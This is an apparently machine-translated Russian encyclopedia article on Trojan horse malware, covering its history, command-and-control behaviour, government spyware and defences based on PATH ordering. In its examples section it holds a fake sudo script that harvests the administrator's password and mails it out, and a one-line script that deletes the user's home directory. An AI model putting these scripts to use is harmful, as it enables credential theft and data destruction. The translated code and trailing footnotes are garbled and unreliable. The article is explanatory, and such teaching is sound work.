В вычислительной технике троянский конь ( или просто троян ) — это любая вредоносная программа , которая вводит пользователей в заблуждение относительно своих истинных намерений, маскируясь под стандартную программу. Термин происходит от древнегреческой истории о коварной Троянской лошади , которая привела к падению города Троя . [1]
Трояны обычно распространяются с помощью какой-либо формы социальной инженерии . Например, когда пользователя обманывают, заставляя выполнить вложение электронной почты , замаскированное под безобидное (например, обычная форма для заполнения), или нажимая на поддельную рекламу в социальных сетях или где-либо еще. Хотя их полезная нагрузка может быть любой, многие современные формы действуют как бэкдор , связываясь с контроллером, который затем может получить несанкционированный доступ к пораженному компьютеру. [2] Атаки программ-вымогателей часто осуществляются с использованием трояна.
В отличие от компьютерных вирусов и червей , трояны обычно не пытаются внедриться в другие файлы или иным образом распространиться. [3]
Неясно, где и когда эта концепция и этот термин для нее были впервые использованы, но к 1971 году первое руководство по Unix предполагало, что его читатели знают и то, и другое: [4]
Еще одно раннее упоминание содержится в отчете ВВС США за 1974 год об анализе уязвимости компьютерных систем Multics . [5]
Он был популярен благодаря Кену Томпсону в его лекции на вручении премии Тьюринга 1983 года «Размышления о доверии к доверию» [6] , озаглавленной: «В какой степени следует доверять утверждению, что программа свободна от троянских коней? Возможно, важнее доверять людям, которые написали программное обеспечение». Он упомянул, что знал о возможном существовании троянов из отчета о безопасности Multics. [7] [8]
После установки трояны могут выполнять ряд вредоносных действий. Многие из них, как правило, связываются с одним или несколькими серверами управления и контроля (C2) в Интернете и ждут инструкций. Поскольку отдельные трояны обычно используют определенный набор портов для этой связи, их может быть относительно просто обнаружить. Более того, другие вредоносные программы могут потенциально «захватить» троян, используя его в качестве прокси для вредоносных действий. [9]
В немецкоязычных странах шпионское ПО , используемое или созданное правительством, иногда называют govware . Govware — это, как правило, троянское ПО, используемое для перехвата сообщений с целевого компьютера. В некоторых странах, таких как Швейцария и Германия, есть правовая база, регулирующая использование такого ПО. [10] [11] Примерами троянских программ govware являются швейцарские MiniPanzer и MegaPanzer [12] и немецкий «государственный троян» под названием R2D2 . [10] Немецкое govware работает, эксплуатируя бреши в системе безопасности, неизвестные широкой публике, и получая доступ к данным смартфона до того, как они будут зашифрованы с помощью других приложений. [13]
Из-за популярности ботнетов среди хакеров и доступности рекламных сервисов, которые позволяют авторам нарушать конфиденциальность своих пользователей, трояны становятся все более распространенными. Согласно опросу, проведенному BitDefender с января по июнь 2009 года, «троянское вредоносное ПО растет, составляя 83% от глобального вредоносного ПО, обнаруженного в мире». Трояны имеют связь с червями, поскольку они распространяются с помощью червей и путешествуют по Интернету вместе с ними. [14] BitDefender заявил, что около 15% компьютеров являются членами ботнета, обычно завербованного троянской инфекцией. [15]
Недавние расследования показали, что метод троянского коня использовался для атаки на облачные вычислительные системы. Троянская атака на облачные системы пытается внедрить приложение или службу в систему, которая может повлиять на облачные службы, изменив или остановив функциональность. Когда облачная система идентифицирует атаки как легитимные, выполняется служба или приложение, которые могут повредить и заразить облачную систему. [16]
Троянский конь — это программа , которая якобы выполняет какую-то законную функцию, но при выполнении ставит под угрозу безопасность пользователя. [17] Простым примером является следующая вредоносная версия команды Linux sudo . Злоумышленник может поместить этот скрипт в общедоступный для записи каталог (например, /tmp
). Если администратор случайно окажется в этом каталоге и запустит sudo
, то троян может выполниться, скомпрометировав пароль администратора.
#!/usr/bin/env баш# Отключить вывод символов на экран. sudo делает это для того, чтобы пароль пользователя не отображался на экране при его вводе.
stty -echo# Запрашивать у пользователя пароль, а затем читать ввод. Чтобы скрыть природу этой вредоносной версии, сделайте это 3 раза, чтобы имитировать поведение sudo, когда пользователь вводит неправильный пароль. prompt_count = 1 while [ $prompt_count -le 3 ] ; do echo -n "[sudo] password for $( whoami ) : " read password_input echo sleep 3 # sudo будет делать паузу между повторными запросами prompt_count = $(( prompt_count + 1 )) done # Включить эхо символов обратно.
stty echo echo $password_input | mail -s " Пароль $( whoami ) " [email protected] # Отобразить фактическое сообщение об ошибке sudo, а затем удалить себя. echo "sudo: 3 неверные попытки ввода пароля"
rm $0 выход 1 # sudo возвращает 1 при неудачной попытке ввода пароля
Чтобы предотвратить появление sudo
троянского коня , установите .
запись в PATH
переменной окружения так, чтобы она располагалась в конце. [18] Например: PATH=/usr/local/bin:/usr/bin:.
.
Наличие .
где-то в PATH удобно, но есть одна загвоздка. [19] Другим примером является следующая вредоносная версия команды Linux ls . Однако имя файла не ls
; вместо этого оно sl
. Злоумышленник поместит этот скрипт в общедоступный для записи каталог (например, /tmp
).
#!/usr/bin/env баш# Удалить домашний каталог пользователя, затем удалить себя.
rm -fr ~ 2 >/dev/null 0 руб
.
Чтобы не дать злонамеренному программисту предвидеть эту распространенную ошибку при наборе текста:
.
в PATH илиalias sl=ls
[а]Термин «троянский конь» происходит от легендарного троянского коня древнего города Троя . По этой причине слово «троян» часто пишется с заглавной буквы. Однако, хотя руководства по стилю и словари различаются, многие предлагают использовать слово «троян» с нижнего регистра для обычного использования. [30] [31]
солдаты, неспособные прорвать оборону города Трои во время многолетней войны, преподнесли городу в качестве мирного приношения большого деревянного коня.
того, нельзя менять владельца файла с включенным битом set—user—ID, в противном случае можно создать троянских коней, способных несанкционированно использовать чужие файлы.
Вышеуказанный троянский конь работает только в том случае, если PATH пользователя настроен на поиск команд в текущем каталоге перед поиском в системных каталогах.
И]сли вы неуклюжий наборщик текста и однажды наберете "sl -l" вместо "ls -l", вы рискуете запустить "./sl", если таковой имеется. Какой-нибудь "умный" программист может предвидеть распространенные ошибки при наборе текста и оставить программы с этими именами разбросанными по всем общедоступным каталогам. Будьте осторожны.
{{cite web}}
: CS1 maint: unfit URL (link)alias
оператор в /etc/profile